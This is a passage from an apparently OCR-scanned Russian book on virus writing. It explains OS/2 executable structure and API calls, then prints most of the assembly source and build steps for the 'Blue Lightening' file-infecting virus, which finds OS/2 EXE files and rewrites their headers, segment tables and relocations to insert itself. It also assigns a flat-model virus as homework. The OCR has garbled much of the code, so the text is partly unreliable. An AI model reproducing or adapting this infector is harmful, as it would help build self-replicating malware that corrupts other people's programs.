чего не слышно. Однако у нее еще остались страстные поклонники
(все же IBM создала для нее свыше 300 приложений), и потому на
задворках компьютерного мира все еще скрипят старые полуоси.
Вот для них-то (поклонников) и их обветшалых тележек и были
разработаны несколько аппетитных «червячков».

OS/2-программы во многом сходны с программами для
Windows, поэтому техники, которые мы обсуждали в прошлой гла-
ве, пригодны и для вируса под OS/2. Основными различиями меж-
ду OS/2 и Windows являются: а) полное отсутствие основополага-
ющих служб прерывания за исключением окна DOS (и даже там вы
не получите всего); б) имена функций и условия вызова иные, чем
у Windows; с) элементы, кодированные на ассемблерном уровне,
документированы еще хуже, чем для Windows. Такое впечатление,
что разработчики OS/2 старались навязать нам язык С.

Модели памяти OS/2

В дополнение к перечисленным отличиям, OS/2 поддержива-
ет две абсолютно иные модели памяти. Первая называется сегмент-
ной или моделью памяти 16:16, поскольку она использует 16-бит-
ные офсеты и 16-битные селекторы для доступа к коду и данным.
Другая модель памяти называется плоской или моделью памяти
0:32. Эта модель использует 32-битные офсеты, которые дают до-
ступ к 4 гигабайтам адресного пространства. Первоначально мо-
дель создавалась для процессоров 80386+, и поскольку 4Ггб покры-
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вали всю адресную память процессоров, сегменты здесь не были
нужны. Поэтому все они устанавливались в ноль.

Программы в этих двух моделях памяти отличаются от СОМ-
и ЕХЕ-файлов, поэтому для их инфицирования требуются другие
техники. Мы рассмотрим вирус Blue Lightening («Голубая мол-
ния»), который будет инфицировать программы с сегментной мо-
делью памяти. Вирус для плоской модели памяти вы напишите са-
ми — это будет вашим домашним заданием.

Инструменты программирования в OS/2

Хотя написание ассемблерных программ для OS/2 кажется
видом черной магии, оно не труднее, чем использование Ассембле-
ра для Windows. Вам лишь нужны инструменты, совместимые с
OS/2 (например MASM 5.10а и LINK 5.10а, которые немного ста-
роваты, но вполне доступны в Сети). Более свежие продукты мож-
но найти у поставщиков программного пакета Developer
Connection Kit. В отличие от Windows, OS/2 изначально задумыва-
лась как операционная система командной строки в защищенном
режиме, поэтому многие программы OS/2 не имеют таких ресур-
сов, как папки и меню, прикрепленные к ним. То есть вам не нужен
компилятор ресурсов, если только вы не хотите вставлять окна в
интерфейс с помощью менеджера презентаций.

Структура исполнительного файла

Структура OS/2 ЕХЕ-файла в сегментной модели памяти
почти идентична Windows EXE. Она содержит тот же Новый заго-
ловок и те же структуры данных. Поле операционной системы в
офсете 36 Н в Новом заголовке используется для разграничения
программ для OS/2 и программ для Windows. Программы для
OS/2 имеют 1 в этом байте, а программы для Windows имеют 2.

В принципе, заголовки одинаковы и механизмы для осмотра
и модифицирования их остаются теми же. Благодаря такому сход-
ству вирус Blue Lightening функционально одинаков с Саго
Magnum.

Функциональные вызовы

Как и в Windows, многие функциональные вызовы OS/2 ис-
пользуют паскалевское соглашение. Параметры вталкиваются в
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стек, и функции вызываются с помощью дальнего вызова. В OS/2
функциональные имена и имена модулей другие.

Например, вместо вызова lopen для открытия файла нам
нужно вызвать DosOpen. (DOS здесь не имеет ничего общего с MS-
DOS или PC-DOS. В данном случае подразумевается обобщенный
термин Disk Operating System — дисковая операционная система.)

Параметры вызова для функций OS/2 отличаются от
Windows. Например, вызов lopen выглядит так:

push es
push ds ;толкнуть указатель к имени файла

push dx
push 2 ;открыть в режиме чтения/записи
ROPEN: call FAR PTR Jopen

Вызов к DosOpen выглядит следующим образом:

push ds ;толкнуть указатель к имени файла

push dx

push ds ;толкнуть указатель к индексу

push OFFSET FHANDLE

push ds ;толкнуть указатель к OpenAction

push OFFSET OPENACTION

push 0 начальное файловое назначение DWORD

push 0

push 3 ;втолкнуть в стек атрибут (например скрытый)

push 1 ;FILE_OPEN

push 42 ;OPEN_SHARE_DENYNONE

push 0 ;DWORD 0 (резервирован)

push 0

ROPEN: call DosOpen .открыть файл

Немного все запутано, верно?

Как и в случае с Windows, мы будем разбираться с вызовами
этих функций с помощью определений в С. Подобные определения
можно найти в документации Developer's Connection. Затем мы
найдем эквиваленты в языке Ассемблер. Выполняя эту задачу, не
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забывайте о том, что функции в сегментной и плоской моделях
сильно отличаются друг от друга. В крайнем случае, для использо-
вания функций вы можете написать программу в С, а затем дизас-
семблировать ее.

Модули, которые OS/2 динамично связывает с программами,
отличаются по именам от своих версий в Windows. Например,

lopen обитает в модуле KERNEL, в то время как DosOpen распо-
лагается в модуле DOSCALLS. И, естественно, с ней ассоциирован
другой номер функции. Но на самом деле это незначительные от-
личия.

Управление памятью

Поскольку прерывания, включая прерывания DPMI, не ис-
пользуются под OS/2, мы больше не можем вызывать DPMI и на-
значать память. Вместо этого нам придется применять функцио-
нальный вызов OS/2. К счастью, такой вариант гораздо проще, чем
использование DPMI. Нам нужно лишь вызвать функцию
DosAllocSeg и назначить сегмент данных. После завершения рабо-
ты DosFreeSeg необходимо избавиться от него. Между этими вызо-
вами мы можем свободно распоряжаться сегментом и делать с ним
все, что угодно.

Новые проблемы

В отличие от Windows, OS/2 использует размер файла, сохра-
ненный в старом DOS ЕХЕ-заголовке. С его помощью она опреде-
ляет, сколько программ загружено в память. То есть вирус OS/2
должен модифицировать старый заголовок, чтобы учесть увели-
ченный размер файла. Иначе, когда программа попытается полу-
чить доступы к коду и данным, OS/2 отсечет конец файла, вызвав
критическую ошибку.

Преимуществом таких стандартных OS/2-вирус, как Blue
Lightening, является то, что они больше не зависят от FAT файловой
системы. Используя функции DosFindFirst и DosFindNext для по-
иска файлов и функцию DosOpen для их открытия, вирус может
спокойно инфицировать файлы, которые сохранялись с помощью
HPFS {High Performance File System — файловой системы высокой
эффективности). Вирус может делать свою работу, даже если фай-
лы имеют длинные имена.
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Исходный код

Наш демонстрационный вирус инфицирует первый сегмент-
ный OS/2-EXE, который находит в текущей директории при усло-
вии, что данный файл еще не заражен. Следующий CMD-файл
(OS/2-эквивалент для бат-файла) ассемблирует вирус правиль-
ным образом:

masm /Zi blight,,;

link blight,,,os2286,blight.def

Файл BLIGHT.DEF принимает форму:

NAME BLIGHT
DESCRIPTION 'Blue Lightening Virus1

PROTMODE
STACKSIZE5120

Исходный код для вируса приведен в файле BLIGHT.ASM:

;BLIGHT.ASM для вируса Blue Lightening

;Это OS/2 вирус, инфицирующий другие OS/2 ЕХЕ-файлы в той же ди-
ректории

.386

Полезные константы:

DATABUFSIZE EQU 4096 ;размер буфера для чтения/записи

NEW_HDR_SIZE EQU 40H ;размер нового ЕХЕ-заголовка

VIRUS_SIZE EQU OFFSET END_VIRUS-OFFSET VIRUS ;размер вируса

EXTRN DosExit:FAR, DosChgFilePtnFAR, DosFindFirst:FAR

EXTRN DosFindNextFAR, DosAllocSeg:FAR, DosFreeSeg:FAR

EXTRN DosOpen:FAR, DosRead:FAR, DosiWrite:FAR, DosClose:FAR

DGROUP GROUP _DATA,_STACK

CODE SEGMENT PARA USE16 'CODE'
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ASSUME CS:CODE, DS:_DATA

PUBLIC VIRUS

Это основная подпрограмма вируса. Она находит файл, при-
годный для инфицирования, и заражает его, а затем передает конт-
роль программе-жертве. Она размещается в первом сегменте жерт-
вы — сегменте, в который первоначально передается контроль.

VIRUS PROC FAR

pushf

pusha

push

push

push

;<

ds

es

ds

сохраняем все регистры

pop es

call CREATEDS ;создаем сегмент данных

call VIR_START ;находим стартовый офсет вируса

VIR_START:

pop si

sub si,OFFSET VIR_START

mov [VSTART],si

call INIT_DS

call F!ND_FILE ;находим файл, пригодный для инфекции

jnz SHORT GOTOJHOST ;z установлен, если файл найден

call INFECT_FILE ;инфицируем его, если он найден

GOTO_HOST:

call DESTROYDS ;очищаем память

pop es

pop ds

popa

popf

VIRUS_DONE:

jmp HOST ;передаем контроль программе-жертве

473
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VIRUS ENDP

db

Эта подпрограмма создает сегмент данных для вируса. Она:
(1) назначает память для вируса, (2) создает сегмент данных для
этой памяти, (3) с помощью нового селектора устанавливает ds и es
и (4) сохраняет индекс для этой памяти, чтобы освободить ее при
завершении работы.

CREATE_DS:

sub sp,2

mov bp.sp

push OFFSET DATASTART - OFFSET DATAEND ;вталкиваем в стек

;размер памяти, которую хотим назначить

push ss ;вталкиваем @ указателя на память

push bp

push 0 ;пишем страницу

DALSE: call DosAllocSeg ; назначаем память

mov bx,ss:[bp] ;пара ds:bx указывает на память

mov ds.bx

mov es.bx

add sp,2 восстанавливаем стек

ret ; выход

CFILEJD1

CFILEJD2

CKNAME

DB

DB

DB

'*.EXE\0

•*.DLL\0

'DOSCALLS1

Инициализируем данные в сегменте данных:

INIT_DS:

mov [DHANDLE],-1

mov [SRCHCOUNT],1

mov si.OFFSET CFILEJD1 перемещаем

ЛУА
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; строки констант в ds

add si,[VSTART]

mov di.OFFSET FILEJD1

mov cx.OFFSET INIT_DS - OFFSET CFILEJD1

CDL: mov al,cs:[si]

inc si

stosb

loop CDL

ret ;все сделано

Эта подпрограмма освобождает память, назначенную с помо-
щью CREATE_DS.

•

DESTROY_DS:
push ds

DFRSE: call DosFreeSeg
ret

•

Эта подпрограмма ищет файл, пригодный для инфицирова-
ния. Она ищет ЕХЕ-файлы и затем проверяет, являются ли они не-
зараженными и пригодными для инфицирования Windows файла-
ми. Если файл найден, эта подпрограмма возвращается с установ-
ленным z, с открытым файлом и его индексом в регистре Ьх.
FIND_FILE осматривает только текущую директорию.

FIND_FILE:

push ds ;вталкиваем в стек адрес ID-файла

push OFFSET FILEJD1

push ds ;вталкиваем адрес индекса для поиска

push OFFSET DHANDLE

push 07h ;атрибут

push DS ;вталкиваем адрес буфера, используемого для поиска

push OFFSET SBUF
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push SIZESBUF ;размер буфера

push ds ;вталкиваем адрес переменной счетчика поиска

push OFFSET SRCHCOUNT заполняется с помощью DosFind

push 0 ;резервное двойное слово

push О

FFIRST: call DosFindFirst ;находим первый файл

FINDJ.OOP:

or ах,ах ;ошибка?

jnz FINDEXIT ;да, выходим

cmp [SRCHCOUNT],0 ;ни один файл не найден?

jz FIND_EXITNZ ;ничего не найдено

call FILEOK ;годен для инфицирования?

jz FINDEXIT ;да, выходим с установленным z

push [DHANDLE] ;вталкиваем в стек индекс для поиска

push ds ;вталкиваем адрес структуры поиска

push OFFSET SBUF

push SIZESBUF ;и длину буфера

push ds ;вталкиваем адрес SRCHCOUNT

push OFFSET SRCHCOUNT

FNEXT: call DosFindNext выполняем его

jmp FINDJ.OOP

FIND_EXITNZ:

mov al,1

or al,al

FINDEXIT: ;передаем контроль обратно основной подпрограмме

ret

Эта подпрограмма определяет, годится ли файл для инфек-
ции. Условия пригодности файла-следующие:

1) он должен быть OS/2 ЕХЕ-файлом;

2) в первоначальном сегменте кода должно быть достаточно
места для него;

3) файл должен быть еще незараженным.
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Если файл пригоден, подпрограмма возвращается с установ-
ленным Z, с открытым файлом и с индексом в Ьх. Если файл непри-
годен для заражения, подпрограмма возвращается со сброшенным
Z и закрывает файл. Кроме того, эта подпрограмма устанавливает
несколько важных переменных, пока проверяет файл. Они исполь-
зуются позже в подпрограмме инфицирования.

FILE_OK:

mov dx,OFFSET SBUF+23 ;dx указывает на файл

call FILE_OPEN ;открываем файл

jnz FOKERROR2 ;при ошибке выход

FOK1:

mov dx.OFFSET NEW_HDR ;ds:dx указывает на буфер заголовка

mov сх,40Н ;читаем 40Н байтов

call FILEREAD ;ОК, читаем ЕХЕ-заголовок

jc FOK_ERROR1

cmp WORD PTR [NEW_HDR],5A4DH ;смотрим, являются ли два

;первых байта 'MZ'?

jnz SHORT FN1 ;нет, файл не ЕХЕ, выход

cmp WORD PTR [NEW_HDR+18H],40H ;смотрим, таблица

перемещений в 40Н или больше?

jc SHORT FN1 ;нет, это не OS/2-EXE

mov dx.WORD PTR [NEW_HDR+3CH] ;OK, помещает офсет к новому

заголовку в dx

mov [NH_OFFSET],dx ;и сохраняем его там

хог сх,сх

call FILESEEKST производим поиск от начала до нового

[заголовка

mov cx,NEW_HDR_SIZE ;читаем новый заголовок

mov dx.OFFSET NEWJHDR

call FILE_READ

cmp WORD PTR [NEWJHDR] ,454EH ;смотрим, это ID 'NE' нового

заголовка
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jnz SHORT FN1 ;нет, это не Windows-EXE!

mov al,[NEW_HDR+36H] ;получаем флаги целевой ОС

and al,1 ;смотрим, целевая ОС = OS/2?

jnz SHORT FOK2 ;ОК, продолжаем

FN1: jmp FOK_ERROR1 ;иначе выходим

;Если мы оказались здесь, то условие (1) выполнено

FOK2: mov dx.WORD PTR [NEW.HDR+16H] ;получаем

первоначальный cs

call GET_SEG_ENTRY ;читаем запись сегментной таблицы в

;буфере диска

mov ax.WORD PTR [ТЕМР+2] ;вставляем длину сегмента в ах

add ax,VIRUS_SIZE добавляем к ней размер вируса

jc SHORT FOKERROR1 ;если перенос, то места недостаточно,

;иначе сбрасываем этот счет

;Если мы оказались здесь, то условие (2) выполнено

mov cx,WORD PTR [NEWHDR+32H] ;выравниваем логический сектор

mov ax, 1

shl ax.cl ;ах=размер логического сектора

mov cx,WORD PTR [ТЕМР] ;получаем офсет стартового сегмента

mul ex ;офсет в dx:ax

add ax,WORD PTR [NEW_HDR+14H] добавляем в ip точки входа

adc dx,0

mov cx.dx

mov dx.ax ;помещаем точку входа в cx:dx

call FILE_SEEK_ST ;и ищем от начала файла

mov cx,20H ;читаем 32 байта

mov dx.OFFSETTEMP ;в буфере

call FILE_READ

mov si,[VSTART]
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mov di,OFFSET TEMP

mov ex, ЮН сравниваем 32 байта

FOK3: mov ax,cs:[si]

add si,2

emp ax,ds:[di]

jne SHORT FOK4

add di,2

loop FOK3

FOK_ERROR1:

call FILE_CLOSE

FOK_ERROR2:

mov al,1

or al.al установка NZ

ret ;возвращаемся к оператору вызова

;Если мы оказались здесь, то условие (3) выполнено. Можем начинать!

FOK4: xor al.al устанавливаем флаг Z

ret ;и выходим

Эта подпрограмма модифицирует найденный файл, в кото-
рый мы вставляем вирус. В процессе инфицирования нам нужно
выполнить следующие шаги.

1) Мы должны модифицировать сегментную таблицу. Для
первоначального сегмента это вовлекает (а) увеличение размера
сегмента на размер вируса и (б) увеличение минимального назна-
ченного размера сегмента, если в этом имеется необходимость.
Каждый сегмент ПОСЛЕ этого первоначального сегмента должен
подстраиваться с помощью добавления к нему вируса (в секторах).

2) Мы должны изменить стартовый ip в новом заголовке. Ви-
рус размещается в этом сегменте после кода жертвы, поэтому но-
вый ip будет равен размеру старого сегмента.

3) С помощью VIRSECS (размер вируса в секторах) мы долж-
ны переместить все секторы в файле после первоначального сег-
мента кода.
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4) Мы должны произвести перемещения (если таковые име-
ются) в конец инфицируемого сегмента кода, чтобы создать место
для кода вируса.

Затем мы должны добавить вирусные перемещения в таблицу
перемещений.

5) Мы должны перенести код вируса в инфицируемый сег-
мент кода.

6) Мы должны подстроить прыжок в вирусе для перехода к
оригинальной точке входа.

7) Мы должны подстроить ресурсные офсеты в таблице пере-
мещений, чтобы отразить их новые локации.

8) Мы должны ликвидировать область быстрой загрузки.

9) Мы должны обновить DOS ЕХЕ-заголовок, чтобы отра-
зить новый размер файла.

INFECT_FILE:

mov cx.WORD PTR [NEWJHDR+32H] ;получаем 1од2(размер

логического сектора)

mov ax, 1

shl ax,cl

mov [LOG_SEC],ax вставляем сюда размер логического сектора

mov ax,\MDRDFTR[NEW_HDR+14H] ;сохраняем старую точку входа

mov [ENTRYPT],ax ;для дальнейшего использования

mov dx,WORD PTR [NEWJHDR+16Н] ;читаем запись сегментной

call GET_SEG_ENTRY даблицы для первоначального cs

mov ax.WORD PTR [TEMP] ;получаем локацию этого

;сегмента в файле

mov [INITSEC],ax сохраняем ее здесь

mov ax.WORD PTR [TEMP+2] ;получаем размер сегмента

mov WORD PTR [NEW_HDR+14H],ax ;обновляем запись ip в новом

;заголовке в RAM
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call SET_RELOCS устанавливаем RELOCS и CS_SIZE

mov si,[VSTART] .

movax,cs:[si+ARELOCS] ;рассчитываем добавленный размер сегмента

shl ax,3 ;умножаем ARELOCS на 8

add ax,VIRUS_SIZE

add ax,[CS_SIZE] ;ах=полный новый размер

xor dx.dx

mov cx,[LOG_SEC]

div ex ;ax * числу всех секторов в cs вместе с вирусом

or dx.dx ;имеется остаток?

jz SHORT INF05

inc ax ;подстраиваем частично заполненный сектор

INF05: push ax

mov ax,[CS_SIZE] ;размер без вируса

xor dx.dx

div ex

or dx.dx

jz SHORT INF07

inc ax

INF07: pop ex

sub ex,ax ;сх=число секторов, необходимых для вируса

mov [VIRSECS],cx сохраняем его здесь

call UPDATE_SEG_TBL ;выполняем модификации (1) в файле

mov dx,[NH_OFFSET]

xor ex,ex

call FILE_SEEK_ST перемещаем указатель файла к новому заголовку

mov di.OFFSET NEWHDR + 37Н ;зеро из области быстрой загрузки

xor ax,ax
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stosb

stosw

stosw ;(8) выполнено

mov dx,OFFSET NEWJHDR

mov cx,NEW_HDR_SIZE ;обновляем новый заголовок в файле

call FILE_WRITE модификации в (2) выполнены

call MOVEENDOUT ;переносим конец вируса с помощью

;VIRSECS (3) и устанавливаем счет RELOCS

call SETUP_KERNEL ;помещаем модуль KERNEL в .

[перемещения вируса

call RELOCATE_RELOCS ;переносим перемещения в cs (4)

INF1: call WRITE_VIRUS_CODE вставляем вирус в cs (5 и 6)

call UPDATE_RES_TABLE [обновляем записи таблицы ресурсов

call ADJUST_DOS_HDR [подстраиваем информацию о размере

[файла в DOS-заголовке

call FILE_CLOSE [закрываем файл

INF2: ret

Следующая процедура обновляет записи сегментной таблицы
на предмет (1) в

;INFECT_FILE.

UPDATE_SEG_TBL:

movdx.WORD PTR [NEWJHDR+16H] [читаем запись сегментной

call GETSEGENTRY [таблицы для первоначального cs

mov ax.WORD PTR [TEMP+2] [получаем размер сегмента

add ax,V!RUS_SIZE [добавляем размер вируса к размеру сегмента

mov WORD PTR [TEMP+2],ax [обновляем размер в сегментной

[таблице
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mov ax.WORD PTR [TEMP+6] ;получаем минимальный

назначаемый размер сегмента

or ах.ах ;он равен 64К?

jz SHORT US2 ;да, оставляем его в покое

US1: add ax,VIRUS_SIZE добавляем размер вируса

jnc SHORT US2 ;нет переполнения, обновляем значение

хог ах,ах ;иначе устанавливаем размер = 64К

US2: mov WORD PTR [TEMP+6],ax обновляем размер
;в таблице в RAM

mov al,1

mov cx.OFFFFH

mov dx,-8

call FILE_SEEK ;возвращаемся к локации записи сегментной

[таблицы

mov dx,OFFSET TEMP записываем модифицированную запись

mov cx,8 ;сегментной таблицы для первоначального cs

call FILE_WRITE ;OK, запись первоначального cs сегментной

;таблицы модифицирована

mov di.WORD PTR [NEWJHDR+1CH] ;получаем число записей

;сегментной таблицы

US3: push di [сохраняем счетчик записей таблицы

mov dx.di ;dx=HOMep записи сегментной таблицы для чтения

call GET_SEG_ENTRY ;читаем ее в буфере диска

mov ax.WORD PTR [TEMP] ;получаем офсет этого сегмента в файле

cmp ax,[INITSEC] ;выше, чем первоначальный сегмент кода?

jle SHORT US4 ;нет, не подстраиваем

add ax,[VIRSECS] ;да, добавляем размер вируса

US4: mov WORD PTR [TEMP],ax ;подстраиваем локацию

;сегмента в памяти
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mov al,1

mov cx.OFFFFH

mov dx,-8

call FILE_SEEK возвращаемся к локации записи сегментной таблицы

mov dx.OFFSET TEMP

mov ex,8

call FILE_WRITE записываем модифицированную запись

;сегментной таблицы

pop di восстанавливаем счетчик записей таблицы

dec di

jnz US3 ;петля, пока все сегменты не будут выполнены

ret ;все сделано

Эта подпрограмма подстраивает DOS ЕХЕ-заголовок, чтобы
отразить новый размер файла с добавленным вирусом. Поля «счет
страниц» и «размер последней страницы» должны быть подстрое-
ны. В отличие от Windows, OS/2 использует переменные для опре-
деления размера загружаемого файла. Если размер не будет подст-
роен, часть файла не загрузится и попадет в «круглую папку», то
есть мусорное ведро.

ADJUST_DOS_HDR:

mov dx,2 ;ищем переменные размера файла

хог сх.сх

call FILE_SEEK_ST

mov dx.OFFSET TEMP ;читаем в буфере TEMP

mov cx,4

call FILE_READ

mov cx,[VIRSECS] ;считаем байты и добавляем

mov ax,[LOG_SEC]
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mul ex ;помещаем значение в dx:ax

shl edx,16

and eax.OOOOFFFFH

or edx.eax ;байты, которые нужно добавить в edx

mov ax,WORD PTR [TEMP+2] ;получаем счет страниц файла

dec ax ;eax =счет страниц - 1

shl eax,9 ;еах = все байты, кроме последней страницы

xor ebx.ebx

mov bx.WORD PTR [TEMP] ;ebx = байты последней страницы

add edx.eax

add edx.ebx ;edx = новый размер файла (в байтах)

mov eax.edx

and ax,0000000111111111В ;ах = размер последней страницы

mov WORD PTR [TEMP],ax

shr edx,9

inc dx

mov WORD PTR [TEMP+2],dx сохраняем здесь счет страниц

mov dx,2 ;ищем переменные размера файла

хог сх.сх

call FILE_SEEK_ST

mov dx.OFFSETTEMP ;читаем в буфере TEMP

mov cx,4

call FILE_WRITE

ret

Эта подпрограмма переходит к номеру записи сегментной
таблицы, который указан в dx в файле, и читает запись в буфере.
TEMP. dx=l - является первой записью!

GET_SEG_ENTRY:

dec dx

mov cl,3

shl dx.cl
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add dx,[NH_OFFSET]

add dx.WORD PTR [NB/VJHDR+22H] ^х=офсеттребуемой записи

xor ex,ex ;сегментной таблицы в файле

call FILE_SEEK_ST ;переходим к указанной записи в таблице

jc SHORT GSE1 ;выходим при ошибке

mov dx.OFFSETTEMP

mov ex, 8

call FILE_READ ;читаем запись таблицы в буфере диска

GSE1: ret

Эта подпрограмма перемещает конец вируса. «Концом» явля-
ется все, что располагается после первоначального сегмента кода,
где обитает вирус. Переменная VIRSECS должна быть правильно
установлена перед вызовом.

MOVE_END_OUT:

mov ax,[CS_SIZE] ;размер cs (в байтах) перед инфицированием

mov cx,[LOG_SEC]

xor dx.dx

div ex

or dx.dx

jz SHORT ME01

inc ax

ME01: add ax,[INITSEC] ;ах=следующий сектор после cs

push ax ;сохраняем его

xor dx,dx

xor ex, ex

mov al,2 ;ищем конец файла

call FILE_SEEK ;возвращаем dx:ax = размер файла

mov cx,[LOG_SEC]

div ex ;ax = числу секторов в файле

or dx.dx

jz ME015 ;подстраиваем дополнительные байты

inc ax
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МЕ015: mov dx.ax ;храним значение здесь

pop di ;сИ=самый нижний сектор для перемещения

sub dx.di ^х=число секторов для перемещения

МЕО2: push dx

push di

call MOVE_SECTORS ;переносим столько, сколько позволит буфер

;данных

pop di ;число перенесенных возвращаем в ах

pop dx

sub dx.ax

or dx,dx

jnz MEO2

ret

Эта подпрограмма переносит столько секторов, сколько поз-
воляет буфер, вплоть до требуемого количества. В записи с1х=мак-
симальное число секторов для перемещения, а с11=самый нижний
номер сектора, который подлежит перемещению. Эта подпрограм-
ма работает от конца файла, поэтому если X = количеству секторов
для перемещения, она будет переносить все секторы из di+dx-X в
di+dx-1. Все секторы переносятся из [VIRSECS].

MOVE_SECTORS:

push dx ;сначала определяем число секторов для перемещения

mov ax,DATABUF_SIZE

mov cx,[LOG_SEC]

xor dx.dx

div ex ;ах=размер буфера данных в логических секторах

pop dx

emp ax,dx ;ax>dx? (максимальное число секторов для перемещения)

jle SHORT MS1

mov ax.dx ;ах=количество секторов для перемещения

MS1: push ax сохраняем его, если не конец

add di.dx

sub di.ax ;di=1-n сектор для перемещения
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mov cx,[LOG_SEC]

mul ex ;ax = байтов для перемещения за этот раз

push ax сохраняем значение в стеке

mov ax.di

mov cx,[LOG_SEC]

mul ex

mov cx.dx

mov dx,ax

call FILE_SEEK_ST ;ищем стартовый сектор для перемещения

pop ex • ;сх=байтов для чтения

mov dx.OFFSET TEMP

call FILE_READ ;читаем их

push ax сохраняем фактическое число байтов для чтения

mov ax.di

add ax,[VIRSECS] ;ах=покация, в которую производится перемещение

;(в секторах)

mov cx,[LOG_SEC]

mul ex ;dx:ax = локация, в которую производится

перемещение (в байтах)

mov cx,dx установить функцию поиска

mov dx,ax

call FILE_SEEK_ST ;и переместиться сюда

pop ex ;байты для записи

mov dx.OFFSET TEMP

call FILE_WRITE ;пишем сюда нужное число байтов

pop ax рапортуем о секторах, перенесенных за этот раз

ret

Эта подпрограмма устанавливает переменные RELOCS и
CS_SIZE в памяти из незараженного файла. Затем она обновляет
счетчик перемещений в файле и добавляет количество перемеще-
ний, требуемое вирусом.

SET_RELOCS:

mov WORD PTR [RELOCS],0
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mov dx,WORD PTR [NB/V_HDR+16H] ;читаем запись первоначального

;cs сегментной таблицы

call GET_SEG_ENTRY

mov ax,WORD PTR [TEMP+4] ;получаем флаги сегмента

xor dx.dx

and ah,1 проверяем данные для перемещения

mov ax.WORD PTR [NEW_HDR+14H] ;размер сегмента w/o вируса

jz SHORT SRE ;нет данных, продолжаем

push ax

push ax ;данные перемещения, как много?

mov ax,[INITSEC] ;находим конец кода в файле

mov cx,[LOG_SEC]

mul ex ;dx:ax = начало cs в файле

pop ex ;cx = размер кода

add ax,ex

adc dx,0

mov cx.dx

mov dx.ax ;cx:dx = конец cs в файле

push ex

push dx

call FILE_SEEK_ST ;начинаем искать его

mov dx,OFFSET RELOCS

mov ex,2

call FILE_READ ;читаем 2-байтовый счет перемещений

pop dx

pop ex

call FILESEEKST ; возвращаемся к этой локации

mov ax,[REJ_OCS]

push ax

mov si,[VSTART]
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add ax,cs:[si+ARELOCS]

mov [RELOCS],ax

mov ex,2

mov dx,OFFSET RELOCS ;обновляем перемещения в файле

call FILE_WRITE добавляем к ним перемещения

pop [RELOCS]

mov ax, [RELOCS]

shl ax,3

add ax,2 ;размер данных перемещения

pop ex ; размер кода в сегменте

xor dx,dx

add ax,cx ;полный размер сегмента

adc dx,0

SRE: mov [CS_SIZE],ax сохранить его здесь

ret

Эта подпрограмма переносит перемещения в конец первона-
чального сегмента кода, чтобы создать место для вируса. Она пере-
носит любое количество записей перемещений, каждая из которых
является 8-байтовой. Она также добавляет к файлу новые переме-
щения для вируса.

RELOCATE_RELOCS:

mov ax,[RELOCS] количество перемещений

mov cl,3

shl ax,el

add ах,2 ;ах=полное количество байтов для перемещения

push ax

mov ax,[INITSEC]

mov cx,[LOG_SEC]

mul ex ;dx:ax = начало cs в файле

add ax.WORD PTR [NEWJHDR+14H]

adc dx,0 = конец cs в файле
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pop ex ;сх = размер перемещения

add ax,cx

adc dx,0 ;dx:ax = конец кода+перемещения

xchg ах,ex

xchg dx.cx ;ах=размер сх^х=локация

RR_LP:push ex

push dx

push ax

emp ax,DATABUF_SIZE

jle SHORT RR1

mov ax.DATABUFSIZE ;читаем вплоть до байтов DATABUFSIZE

RR1: sub dx.ax ;возвращаем вверх указатель файла

sbb ex,0

push ex

push dx

push ax

call FILESEEKST ;ищем желаемую локацию в файле

pop ex

mov dx.OFFSETTEMP

call FILE_READ ;читаем требуемое число байтов, число в ах

pop dx

pop ex

push ax ;сохраняем число байтов для чтения

add dx,VIRUS_SIZE перемещаем указатель файла вверх

adc cx,0

call FILE_SEEK_ST

pop ex ;байтов для записи

mov dx.OFFSETTEMP

call FILE_WRITE записываем их в новую локацию

pop ax

pop dx

pop ex

emp ax,DATABUF_SIZE ;байтов для записи меньше, чем

;DATABUF_SIZE?
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jle SHORT RRE ;да, все сделано

sub ax.DATABUFSIZE ;нет, подстраиваем индекс

sub dx,DATABUF_SIZE

sbb ex,0

jmp RR_LP ;и переходим к другому

RRE: mov si,[VSTART]

mov cx.es:[si+ARELOCS] добавляем ARELOCS перемещений к концу

push si

mov di,OFFSET TEMP

add si,OFFSET ARELOCS + 2 ;si указывает на таблицу перемещений
RRL: mov ax,cs:[si] ;переносим перемещения в буфер и

;подстраиваем их
stosw

add si,2

mov ax.es: [si]

add si,2

add ax.WORD PTR [ЫЕ\Л/_НОР+14Н];добавляем размер оригинального

;кода к офсету, указанному здесь

stosw

mov ax,[KERNEL] вставляем ссылку модуля KERNEL «no next»

add si,2

stosw

mov ax.es: [si]

add si,2

stosw

loop RRL

pop si

mov dx,OFFSET TEMP

mov cx.cs:[si+ARELOCS]

shl cx,3

call FILEWRITE ;и помещаем их в файл

ret

Эта подпрограмма находит модуль KERNEL в таблице мо-
дульных ссылок и помещает его в записи перемещений вируса.
SETUP KERNEL:
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хог сх.сх

movdx.WORD PTR [NEW_HDR+28H] ;переходим к началу таблицы

;модульных ссылок

add dx,[NH_OFFSET]

adc ex,0

call FILE_SEEK_ST

mov dx.OFFSETTEMP

mov cx,40H ;читаем офсет 32 модуля

call FILE_READ ;в буфере TEMP

mov si,OFFSET TEMP

SK1: lodsw ;получаем офсет модуля

push si

movdx,[NH_OFFSET] ;осматриваем таблицу импортированных имен

add dx.WORD PTR [NEW_HDR+2AH]

add dx.ax

- inc dx

xor ex,ex

call FILESEEKST ;готовимся читать имя модуля

mov cx,40H

mov dx.OFFSET TEMP + 40H

call FILE_READ ;читаем его в TEMP в 40Н

pop ax

push ax

sub ax.OFFSETTEMP

shr ax,1

mov [KERNEL],ax ;полагаем, что это KERNEL

cmp ax.WORD PTR [NEW_HDR+1EH] последняя запись?

jge SHORT SK2 ;да, используем ее по умолчанию

mov di,OFFSET TEMP+ 40H

mov si,OFFSET KNAME

mov ex,8

repz empsb проверяем ее

jnz SHORT SK3 ;не последняя, продолжаем

SK2: pop si ;иначе выходим с KERNEL, установленным

;так, как он есть
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ret

SK3: pop si

jmp SK1

Эта подпрограмма пишет код вируса в инфицируемый сег-
мент кода. Она также обновляет прыжок, которым завершается ви-
рус. Прыжок должен указывать на старую точку входа в этот сег-
мент.

WRITE_VIRUS_CODE:

mov ax,[INITSEC] ;секторы для сегмента кода

mov cx,[LOG_SEC]

mul ex ;dx:ax = локация сегмента кода

add ax,WORDPTR[NEW_HDR+14H]

adc dx,0 ;dx:ax = место, куда вставляется вирус

mov cx.dx

mov dx.ax

push ex

push dx ;сохраняем значение, чтобы подстроить прыжок

call FILE_SEEK_ST ;ищем здесь

mov di.OFFSET TEMP перемещаем код вируса в сегмент данных

mov cx,VIRUS_SIZE

mov si,[VSTART]

WVCL: mov al.es:[si]

inc si

stosb

loop WVCL

mov si,[VSTART] устанавливаем перемещаемые области в коде

add si.OFFSETARELOCS ;floFFFFOOOO

